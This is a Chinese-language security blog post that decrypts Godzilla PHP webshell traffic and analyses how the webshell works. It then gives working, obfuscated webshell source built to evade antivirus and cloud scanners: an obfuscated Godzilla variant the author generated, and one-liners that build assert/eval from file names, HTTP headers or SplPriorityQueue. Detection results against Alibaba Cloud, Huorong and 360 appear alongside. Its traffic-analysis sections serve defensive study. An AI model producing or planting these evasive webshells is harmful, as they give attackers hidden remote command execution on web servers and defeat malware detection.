目录
抓包分析
测试连接
第一个包
第二个包
第三个包
进入控制台
第三个包
请求
返回
木马的解析
第一次链接
第二次链接
payload集合
run
reDefSystemFunc()
自写免杀
通过文件名 构造字符
通过请求头实现
php7.3
php5.2
PHP5.3
PHP 7.0.0
这里也是跟着大佬走的 【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户
php 一句话木马检测绕过研究-腾讯云开发者社区-腾讯云
webshell免杀过阿里云PHP | 藏青's BLOG
这里首先我是去看了看bypass 学习一下
GitHub - Tas9er/ByPassGodzilla: 哥斯拉WebShell免杀生成 / Code By:Tas9er
然后我们就可以发现对比
我这里将混淆什么的都去掉
<?pHP
@session_start();
@set_time_limit(Chr("48"));
@error_reporting(Chr("48"));
function m($a,$b){
for($c=Chr("48");$c<strlen($a);$c++) {
$d = $b[$c+Chr("49")&15];
$a[$c] = $a[$c]^$d;
}
return $a;
}
$e = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101"); #组合为base64_decode的字符串
$f = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode"; #组合为base64_encode的字符串
$g=("&"^"r").("7"^"V").("I"^":").("p"^"I").("_"^":").$e($e("Y2c9PQ==")); #这里是组合为密码Tas9er 通过异或和两次base解码
$h='p'.$e($e("WVhsc2IyRms=")); #这里组合为 payload
$i='fe593a30'.$e("ZTJhMjA5NDA="); #这里组合为一个字符串fe593a30e2a20940
$j=("!"^"@").'ss'.Chr("101").'rs';
$j++;
#这种组合方式很奇特 组合为 assert
#判断是否存在post参数 接受密码
$k=m($e("cGhwaW5mbygpOw=="),$i);
echo "</br>"; #首先base64解码 参数 ,然后通过 传递 fe593a30e2a20940 和
echo $k;
if (isset($_SESSION[$h])){
echo "</br>";
echo "isset";
$l=m($_SESSION[$h],$i);
echo $l;
if (strpos($l,'getBasicsInfo')===false){
echo "yes";
$l=m($l,$i);
}
define("baiduoZObP4MMk","//baidu0EKclqRbZ5y\r\n".$l);
$j(baiduoZObP4MMk);
echo substr(md5($g.$i),Chr("48"),16);
// echo $f(m(@run($k),$i));
echo substr(md5($g.$i),16);
}else{
echo "</br>";
var_dump(strpos($k,'getBasicsInfo'));
if (strpos($k,'getBasicsInfo')!==false){
echo "noisset";
$_SESSION[$h]=m($k,$i);
}
}
?>
下面是原版的哥斯拉
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
echo '</br>';
echo "yes";
echo '</br>';
echo $data;
echo '</br>';
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
echo '</br>';
echo "yes222";
echo '</br>';
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
echo '</br>';
echo "yes1222";
echo '</br>';
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
能发现 确实通过特殊的编码和对字符串的处理,实现bypass
落地的时候
确实火绒扫不出来
我们将两种放到 阿里云中查看一下
阿里云恶意文件检测平台
可以发现已经被识别到了(肯定是被抓特征了)
这里我们首先就开始分析一下哥斯拉的php木马
类别是 php xor base64
这里是基本的代码查看 这里有些是我自己加上去进行判断的
这里给出一下大致流程
顺便给出session的解释Session详解,学习Session,这篇文章就够了(包含底层分析和使用)_session级别-CSDN博客
抓包分析
首先配置代理 流到bp 然后看一下
bp进行抓取即可
首先进行测试链接
可以发现有3个请求包
这里首先给出解密脚本
#请求包/返回包的解密脚本
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 返回包数据去掉前十六位和后十六位然后解密 报错删除 gzdcode 尝试
echo gzdecode(encode(base64_decode(urldecode('DlMRWA1cL1gOVDc1MjRhVDxVCV8RXQ%3D%3D')),$key));
如果报错
删除 gzdecode 函数即可
测试连接
第一个包
首先看第一个 没有返回值 但是是一大串的请求包
这里我们首先关注一下cookie 可以发现 在发送请求包的时候 是没有cookie 的 说明是第一次链接
这个时候 session还没有产生 不会记录会话
但是返回包 出现了sessionid
设定了cookie
这里加密的请求 是一个 payload 的集合 是保存了 哥斯拉执行命令的内容
这里发送了所有执行函数 后续就不需要传递函数 只需要传递 函数名和执行的参数即可实现
第二个包
这里发现都已经带上了 sessionid
我们解密查看
methodName g_close
返回包
我们需要对返回包进行处理
11cd6a8758984163fL1tMGI4YTljOv79NDQm7r9PZzBiOA==6c37ac826a2a04bc
删除前面16 后面 16
fL1tMGI4YTljOv79NDQm7r9PZzBiOA==
然后进行解密
能够发现 只是回显 ok
第三个包
和上面一个一模一样的
所以我们进行测试 可以发现 只是对是否可以回显进行测试
现在我们进入
进入控制台
在哥斯拉点击进入的时候
一样是3个包
可以发现 第一个又是设置cookie 和函数的请求包 并且没有回显
可以发现第二个包 也是一样的 前两个都是完全一样的包
第三个包
发现不是一样的 我们进行解密
请求
getBasicsInfo
返回
删除前16 后16
fL1tMGI4YTljOlBm6bq6BXNLgmeKiWAhvOfD7KwoKuh7az6yx+wgiGNwvlG5OSSZR6PQx4kD9dWOJ7QSsw4GC//9fJYMnW4fGblDYDnHi5EuJ6B5nH/wX/x2alyhxV28hbUshA2dc+ieVQG4TI/77SZpPxdXAHYcIUtcxpV8r92FUrxqaeIeSgPgxnDmZirUTsGjog+KL7LnHNdKuegZQVguhAPc2jiDTiGqf1xaxtcIZwHcWUMrjtj0A3zQhCOBpKGqmwZr0Wx1oQnrzK0NTJZMpAfpTeOBURRip0PK62wtjX4hQyW+EgO2Y6UTJ3aPxTsNhoU25TXqIRpZSgd7cTF4l1E8SRyV2xWVeRE2LdOHd15EosJcyKB6Zgf8g4P/eV07oknXYye96FUIqvrVREyO8ojRyzEOntfQ8fmRt3BBQ8xqY5SAhyFbxYpO3Fwz1BIrp73uwCO4BRiIYbN+fH7YEwvwRaxh3fljeqVzmMrjqWvzWNzKTXC763fgtUrH9pmbOiej8/X5I66OglFZyuc7axYLJjWKuV0/YECJhXmeyEOrehb0IRx1Js+8DpUnqZUcLWLM9R4aj7/tO/MejQTPGiDJFTUeyrJh0swXoHnN0r53aXT+jSsBoSw50vbAZTd5ECpSybReAhBZ26X5/4VdtwaoSKBTHdvDCsYt4y3u4MFxu0ylflPN9jv4Aim1Zk9FA4hYyKK1bpQLODhvjzaoXGOcuP8Jzt6MyE6gw+waWN/lhtYfB96bAX2tPn2zh/RIKjxuUaUDhlvciV39fFxzJJsbxl0lbMHsdYclTYc7lrj9gqYWuVF2U7/VKrFfVxdEaXLUPIoixX5Rs9qqKXh2FGoiMw9Qiv44YrMvSGtbZEm+ZXNuh8IkQienkbAMiumrWDivl+Ubq1L95rwcevgkmF2DmMGiSEtcKEeqZuTh4ALH7erjQ5AyAeTkZnU/HmUXf5MFtLNpYuYefJ2gJ/5lUacXm4HCmaiLOEOWoDc8Pf28b5M2EiBFYqfhhtQZ5zp3n1hCdc1r71bghuqCnkfD1L/DxyujNqlEET7fsINpDoNu5Vzoku/EGTbxCF5RqooIsRLv5eYz8zZlPLyCNANDSst8gT2yktRXykdw/gOlm1SOecWAGvkNp00zZcUIV5dgMGI=
这里其实已经可以发现 F开头就是 需要gzdcode
这里需要删除上面的url编码
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 原来的数据去掉前十六位和后十六位然后解密
echo gzdecode(encode(base64_decode('fL1tMGI4YTljOlBm6bq6BXNLgmeKiWAhvOfD7KwoKuh7az6yx+wgiGNwvlG5OSSZR6PQx4kD9dWOJ7QSsw4GC//9fJYMnW4fGblDYDnHi5EuJ6B5nH/wX/x2alyhxV28hbUshA2dc+ieVQG4TI/77SZpPxdXAHYcIUtcxpV8r92FUrxqaeIeSgPgxnDmZirUTsGjog+KL7LnHNdKuegZQVguhAPc2jiDTiGqf1xaxtcIZwHcWUMrjtj0A3zQhCOBpKGqmwZr0Wx1oQnrzK0NTJZMpAfpTeOBURRip0PK62wtjX4hQyW+EgO2Y6UTJ3aPxTsNhoU25TXqIRpZSgd7cTF4l1E8SRyV2xWVeRE2LdOHd15EosJcyKB6Zgf8g4P/eV07oknXYye96FUIqvrVREyO8ojRyzEOntfQ8fmRt3BBQ8xqY5SAhyFbxYpO3Fwz1BIrp73uwCO4BRiIYbN+fH7YEwvwRaxh3fljeqVzmMrjqWvzWNzKTXC763fgtUrH9pmbOiej8/X5I66OglFZyuc7axYLJjWKuV0/YECJhXmeyEOrehb0IRx1Js+8DpUnqZUcLWLM9R4aj7/tO/MejQTPGiDJFTUeyrJh0swXoHnN0r53aXT+jSsBoSw50vbAZTd5ECpSybReAhBZ26X5/4VdtwaoSKBTHdvDCsYt4y3u4MFxu0ylflPN9jv4Aim1Zk9FA4hYyKK1bpQLODhvjzaoXGOcuP8Jzt6MyE6gw+waWN/lhtYfB96bAX2tPn2zh/RIKjxuUaUDhlvciV39fFxzJJsbxl0lbMHsdYclTYc7lrj9gqYWuVF2U7/VKrFfVxdEaXLUPIoixX5Rs9qqKXh2FGoiMw9Qiv44YrMvSGtbZEm+ZXNuh8IkQienkbAMiumrWDivl+Ubq1L95rwcevgkmF2DmMGiSEtcKEeqZuTh4ALH7erjQ5AyAeTkZnU/HmUXf5MFtLNpYuYefJ2gJ/5lUacXm4HCmaiLOEOWoDc8Pf28b5M2EiBFYqfhhtQZ5zp3n1hCdc1r71bghuqCnkfD1L/DxyujNqlEET7fsINpDoNu5Vzoku/EGTbxCF5RqooIsRLv5eYz8zZlPLyCNANDSst8gT2yktRXykdw/gOlm1SOecWAGvkNp00zZcUIV5dgMGI='),$key));
可以发现回显的是基本信息
这个时候我们进行一次命令执行
cmdLine.cmd /c "cd /d "D:/phpstudy_pro/WWW/"&dir" 2>&1methodName
execCommand
请求包是上面的内容
下面是返回包
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 原来的数据去掉前十六位和后十六位然后解密
echo gzdecode(encode(base64_decode('fL1tMGI4YTljOmYKzEO6yQDpcGx2ljzhGVXq6WHzdB1/7BZJvWM/F+ZMWoUsjZHag7M4d+Oad19Fd4/8XNInjz92TCfJoOO14dOn4Kb+mbHByv3AkkjklCS/2Q2GM0VeB1YBnA1QxVYLmJVSWloEU8c2YQZMpiBPaUGVdZYGRUYlMCVFBG5nL2n59WL17LN7QgVKFdd6btFFkdZis5WjvQzR69ybv8/amYSIhQIgejJ2tRmRAlLHWgFTnVFYUMFQC1LEgJ3chPpzPDV9q1oZAmI2ZQ=='),$key));
同样需要删除 urldecode
发现就是命令执行
木马的解析
这里我们来开始继续查看木马的解析了
最好不要一上来就看木马 不然有点看不明白 我确实是这样的
我们就拿最基本的木马来查看
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
这里开始区分
首先我们查看 定义了3个变量 密码 payload 的名字 还有秘钥
我们首先查看这里
其他都没得说的 就key值
我们原本的key = key
md5加密后为3c6e0b8a9c15224a8228b9a98ca1531d
这里的值为3c6e0b8a9c15224a
可以发现是取前16位
然后我们看下面
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
第一次链接
这里其实就是查看有没有数据传入
如果有 参数是不是 pass
然后这里查看 session[payload是否存在] //对应了第一次链接
我们可以进行查看
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
var_dump($_SESSION[$payloadName]);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
var_dump($payload);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
可以发现 输出了 null 说明没有这里的原因 是这个时候 还没有设置session payload(函数集合) 还没有传入
然后我们查看下面的else
else{
if (strpos($data,"getBasicsInfo")!==false){ // 不存在 getbaseinfo 的时候
$_SESSION[$payloadName]=encode($data,$key); //将 session[payload]通过加密传入
}
}
这里我们可以进行输出
发现 请求包的 payload 函数都已经被存入session中了
这里就是第一次链接的时候
第二次链接
我们来查看已经有session的时候的操作
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key); //首先解密 数据
//string(19) "methodName 这个是解密第二个请求包的内容
if (isset($_SESSION[$payloadName])){ //这个时候存在session了 就进入这个判断
//将payload解密用于操作(函数集合)
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
//这里是判断 payload集合中是否存在 getBasicsInfo 的内容 但是一般都是有的
$payload=encode($payload,$key);
}
eval($payload); //执行命令
echo substr(md5($pass.$key),0,16); //可以发信啊这里输出md5和key结合的0-16
echo base64_encode(encode(@run($data),$key)); 这里的run函数是在payload 里面
echo substr(md5($pass.$key),16); //这里是 最后16
// 这里就是为什么返回包需要删除前面16 后面 16
}
这样 最简单的哥斯拉木马 我们就分析完了 也明白了 为什么哥斯拉比蚁剑 用的多 是因为 流量加密(但是现在也相当于不加密了)
payload集合
这里我们分析一下payload集合
这里为了方便 直接使用 蓝队解析工具
https://github.com/abc123info/BlueTeamTools
大家自行解密吧 因为如果把代码贴在上面 太长了
我们主要解析一下run函数
run
function run($pms){
global $ERRMSG;
reDefSystemFunc();
$_SES=&getSession();
@session_start();
$sessioId=md5(session_id());
if (isset($_SESSION[$sessioId])){
$_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
}
@session_write_close();
if (canCallGzipDecode()==1&&@isGzipStream($pms)){
$pms=gzdecode($pms);
}
formatParameter($pms);
if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
@bypass_open_basedir();
}
if (function_existsEx("set_error_handler")){
@set_error_handler("payloadErrorHandler");
}
if (function_existsEx("set_exception_handler")){
@set_exception_handler("payloadExceptionHandler");
}
$result=@evalFunc();
if ($result==null||$result===false){
$result=$ERRMSG;
}
if ($_SES!==null){
session_start();
$_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
@session_write_close();
}
if (canCallGzipEncode()){
$result=gzencode($result,6);
}
return $result;
}
这里是run函数的内容
可以看到立马就进入了一个函数
reDefSystemFunc()
function reDefSystemFunc(){
if (!function_exists("file_get_contents")) { //判断如果函数不存在就创建函数
function file_get_contents($file) {
$f = @fopen($file,"rb"); // 只读打开文件
$contents = false;
if ($f) { //如果打开了
do { $contents .= fgets($f,1024*1024); } while (!feof($f));
//就讲二进制只读文件 存入变量 contents中 每次读取1 M 当文件读取完后
}
fclose($f);
return $contents;
}
}
if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
function gzdecode($data) // 窗机爱你gzdeocde函数 返回值的 10-末尾第8
{// 然后通过gzinflate 返回gzip解压后的数据
return gzinflate(substr($data,10,-8));
}
}
if (!function_exists("sys_get_temp_dir")){
function sys_get_temp_dir(){
$SCRIPT_FILENAME=dirname(__FILE__);
if (substr($SCRIPT_FILENAME, 0, 1) != '/'){
return "C:/Windows/Temp/"; // 很显然 判断是什么系统 如果不是 / 开头就是win
}else{
return "/tmp/";
}
}
}
if (!function_exists("getmygid")){
function getmygid(){
return 0;
}
}
if (!function_exists("scandir")){
function scandir($directory){
$dh = opendir($directory); // 打开目录
if ($dh!==false){ //如果没有失败
$files=array();
while (false !== ($filename = readdir($dh))) {
//遍历目录
$files[] = $filename; //加入数组
}
@closedir($dh); 然后关闭
return $files; 返回目录值
}
return false;
}
}
if (!function_exists("file_put_contents")){
function file_put_contents($fileName, $data){ //写文件
$handle=fopen($fileName,"wb");
if ($handle!==false){
$len=fwrite($handle,$data);
return $len;
@fclose($handle);
}else{
return false;
}
}
}
if (!function_exists("is_executable")){
function is_executable($fileName){
return false;
}
}
}
然后我们就回到run
if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
@bypass_open_basedir();
}
if (function_existsEx("set_error_handler")){
@set_error_handler("payloadErrorHandler");
}
if (function_existsEx("set_exception_handler")){
@set_exception_handler("payloadExceptionHandler");
}
下面可以发现是 哥斯拉中的 操作
这里大致就分析完了 这里哥斯拉内部java的 还不够格分析 所以先不看了
这里继续分析一下 bypassWebshell
就是上面的bypass
看完哥斯拉 就可以知道 其实就是对字符串处理
<?pHP //这里php都进行了混淆
@session_start();
@set_time_limit(Chr("48")); // chr(48) = 0 所以@set_time_limit(0); 这里就是一直执行
@error_reporting(Chr("48")); //@error_reporting(0); 不报错
function m($a,$b){
for($c=Chr("48");$c<strlen($a);$c++) { // 首先进行混淆 $c = 0
$d = $b[$c+Chr("49")&15]; // $b[$c+1&15] chr 也混淆
$a[$c] = $a[$c]^$d;
}
return $a;
}
下面就是一些定义
$e = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101"); #组合为base64_decode的字符串
$f = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode"; #组合为base64_encode的字符串
$g=("&"^"r").("7"^"V").("I"^":").("p"^"I").("_"^":").$e($e("Y2c9PQ==")); #这里是组合为密码Tas9er 通过异或和两次base解码
$h='p'.$e($e("WVhsc2IyRms=")); #这里组合为 payload 后续 $_session[payload]
$i='fe593a30'.$e("ZTJhMjA5NDA="); #这里组合为一个字符串fe593a30e2a20940
#fe593a30e2a2094033ea0efdb879191a 这个是密钥 2lCh 的MD5加密 取前面16位
$j=("!"^"@").'ss'.Chr("101").'rs'; #这里是我惊讶的 通过异或 然后 ++ 获取危险函数 assert
$j++;
#判断是否存在post参数 接受密码
$k=m($e("cGhwaW5mbygpOw=="),$i);
#解密 base64解密 + 哥斯拉的解密方式
if (isset($_SESSION[$h])){
$l=m($_SESSION[$h],$i);
if (strpos($l,'getBasicsInfo')===false){
$l=m($l,$i);
}
define("baiduoZObP4MMk","//baidu0EKclqRbZ5y\r\n".$l); //这里通过拼接
//前面是 // baidu0EKclqRbZ5y \r\n就换行 然后就可以注释掉上面的baidu
$j(baiduoZObP4MMk); 这里就是执行
echo substr(md5($g.$i),Chr("48"),16);
// echo $f(m(@run($k),$i)); 然后就是输出
echo substr(md5($g.$i),16);
}else{
echo "</br>";
var_dump(strpos($k,'getBasicsInfo'));
if (strpos($k,'getBasicsInfo')!==false){
echo "noisset";
$_SESSION[$h]=m($k,$i);
}
}
?>
看了上面 发现确实不是很难 就是通过字符串进行各种绕过
下面可以学习写一下
自写免杀
首先就是生成 模板 就是哥斯拉的 webshell
然后开始写即可
<h2>webshell create by Xioaruan</h2>
<h1>
<pre>
/***
* o o
* d8b d8b
* d888b d888b
* d8P"Y8b d8P"Y8b
*
*
*
* 88888888
*
*
*
*/
</pre>
</h1>
<?php
@session_start();
@set_time_limit(ChR('48'));
@error_reporting(cHr('48'));
function ynpc__fDYAIBzxMu($ynpc__fDYAIBzxMu0,$ynpc__fDYAIBzxMu0m){
for($ynpc__fDYAIBzxMu0mN=ChR('48');$ynpc__fDYAIBzxMu0mN<strlen($ynpc__fDYAIBzxMu0);$ynpc__fDYAIBzxMu0mN++) {
$ynpc__fDYAIBzxMu0mNG = $ynpc__fDYAIBzxMu0m[$ynpc__fDYAIBzxMu0mN+Chr('49')&cHr('49').chR('53')];
$ynpc__fDYAIBzxMu0[$ynpc__fDYAIBzxMu0mN] = $ynpc__fDYAIBzxMu0[$ynpc__fDYAIBzxMu0mN]^$ynpc__fDYAIBzxMu0mNG;
}
return $ynpc__fDYAIBzxMu0;
}
$ynpc__fDYAIBzxMu0mNGm=~urldecode('%A7').~urldecode('%96').~urldecode('%90').~urldecode('%9E');
$ynpc__fDYAIBzxMu0mNGmU=~urldecode("%8F%9E%86%93%90%9E%9B");
$ynpc__payPrJY2tcPdGhqhP='4301ac422369e5c3';
$_='_'.('~'^'.').('`'^'/').('('^'{').('('^'|');
$ynpc__cqmTy9V9A8bZCANqW9yVS=Chr('83');
$ynpc__aYlPKSQKuwdhFNgmuw=$$_;
$ynpc__cqmTy9V9A8bZCANqW9yVS4=('!'^'@').('('^'[').('('^'[').('%'^'@').(')'^'[').('('^'\\');
if (isset($ynpc__aYlPKSQKuwdhFNgmuw/*fDYAIBzxMu0mNGmU*/[$ynpc__fDYAIBzxMu0mNGm])){
$ynpc__aYlPKSQKuwdhFNgmuwq=ynpc__fDYAIBzxMu(base64_decode($ynpc__aYlPKSQKuwdhFNgmuw[$ynpc__fDYAIBzxMu0mNGm]),$ynpc__payPrJY2tcPdGhqhP);
if (isset($_SESSION[$ynpc__fDYAIBzxMu0mNGmU])){
$ynpc__cqmTy9V9A8bZCANqW9yV=ynpc__fDYAIBzxMu($_SESSION[$ynpc__fDYAIBzxMu0mNGmU],$ynpc__payPrJY2tcPdGhqhP);
if (strpos($ynpc__cqmTy9V9A8bZCANqW9yV,base64_decode("Z2V0QmFzaWNz'.$ynpc__cqmTy9V9A8bZCANqW9yVS.'W5mbw=="))===false){
$ynpc__cqmTy9V9A8bZCANqW9yV=ynpc__fDYAIBzxMu($ynpc__cqmTy9V9A8bZCANqW9yV,$ynpc__payPrJY2tcPdGhqhP);
}
$ynpc__cqmTy9V9A8bZCANqW9yVS4($ynpc__cqmTy9V9A8bZCANqW9yV);
echo substr(md5($ynpc__fDYAIBzxMu0mNGm.$ynpc__payPrJY2tcPdGhqhP),0,16);
echo base64_encode(ynpc__fDYAIBzxMu(@run($ynpc__aYlPKSQKuwdhFNgmuwq),$ynpc__payPrJY2tcPdGhqhP));
echo substr(md5($ynpc__fDYAIBzxMu0mNGm.$ynpc__payPrJY2tcPdGhqhP),16);
}else{
if (strpos($ynpc__aYlPKSQKuwdhFNgmuwq,base64_decode("Z2V0QmFzaWNz'.$ynpc__cqmTy9V9A8bZCANqW9yVS.'W5mbw=="))!==false){
$_SESSION[$ynpc__fDYAIBzxMu0mNGmU]=ynpc__fDYAIBzxMu($ynpc__aYlPKSQKuwdhFNgmuwq,$ynpc__payPrJY2tcPdGhqhP);
}
}
}
通过go 编写了一个php生成的木马 加上了混淆 也是通过一些混淆是结合rce 无数字字母实现的
工具就不放出来了,没啥特别大的作用,只生成php 并且其实还是会被 阿里云的webshell查杀
D_safe为可疑
阿里云直接识别到 assert函数 命令执行了 (太可怕了)
360 火绒 均未查出来
这里就奇了怪了 阿里云怎么这么厉害
结果看到一个文章 说bypass阿里云
webshell免杀过阿里云PHP | 藏青's BLOG
虽然还是被检测出来了 但是这里感觉有点意思 这个木马
我们来学习一下
但是这里到本地的时候 直接就被火绒杀了
通过文件名 构造字符
我们来看看这里是如何实现的
分析一下
<?php
$password = "LandGrey"; //密码
$key = substr(__FILE__,-5,-4); //截取文件字符串 就是截取最后一位
${"LandGrey"} = $key."Land!"; //这里平凑成 rland
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>
123123123123.php
截取到 -4
就是3 .php 是 -4
3.php是 -5
所以取到3
另一个版本
<?php
function test($a){
@eval($a);
}
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $key."Land!";
$f = pack("H*", "0629121a") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>
都是通过字符串结尾为r 实现getshell
但是这里如何凑assert 我有点没想到
php 一句话木马检测绕过研究-腾讯云开发者社区-腾讯云
或许是可以直接使用吧
如何我们解析一下下面的函数
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
这里查一下就知道了 一个回调函数 通过$f 然后 数组 $pasword 和 1都会被调用执行
所以这里我们传入 password后 可以被执行
下面是高级的
通过请求头实现
<?php
function test($a){
@eval($a);
}
$password = "LandGrey";
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
$f = pack("H*", "0629121a") ^ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>
这里是通过Accpet:r
传递参数 实现组合assert
<?php
function test($a){
@eval($a);
}
$password = "LandGrey";
$wx = substr($_SERVER["HTTP_REFERER"],-6,-4);
echo $wx;
forward_static_call_array($wx."st", array($_REQUEST[$password]));
?>
下面是通过传递 Referer: teste6123
执行命令
forward_static_call_array
前面一个参数为函数名
后面的数组为参数
所以这个情况下 所有都是可以实现的 现在就是思考为什么会被杀
但是让我不可思议的是
<?php
$b = ('!'^'@').('('^'[').('('^'[').('%'^'@').(')'^'[').('('^'\\');
// echo $b;
function test($b,$a){
echo $a;
$b($a);
}
$password = "Xioa";
test($b,$_REQUEST[$password]);
?>
这种明显的 居然没有被杀
这里是回调函数直接被杀了 太离谱了
但是依旧逃不过阿里云 这个webshell查杀 确实很厉害
然后你才怎么着 我又找到一个文章
测试几种实战成功过的webshell的免杀方式 - 先知社区
学到东西咯~
在php7.3版本中 存在不换行执行的特性
php7.3
<?php
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>
php5.2
<?php
\echo `whoami`;?>
PHP5.3
<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>
PHP 7.0.0
<?php
$a = $_GET['function'] ?? 'whoami';
echo $a;
$b = $_GET['cmd'] ?? 'whoami';
echo $b;
$a(null.(null.$b));
?>
http://localhost/111.php?function=assert&cmd=phpinfo();
https://www.cnblogs.com/0daybug/p/16740163.html
<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
$m.=$objPQ->current();
$objPQ->next();
}
echo $m($cur->getMessage());
?>
//密钥3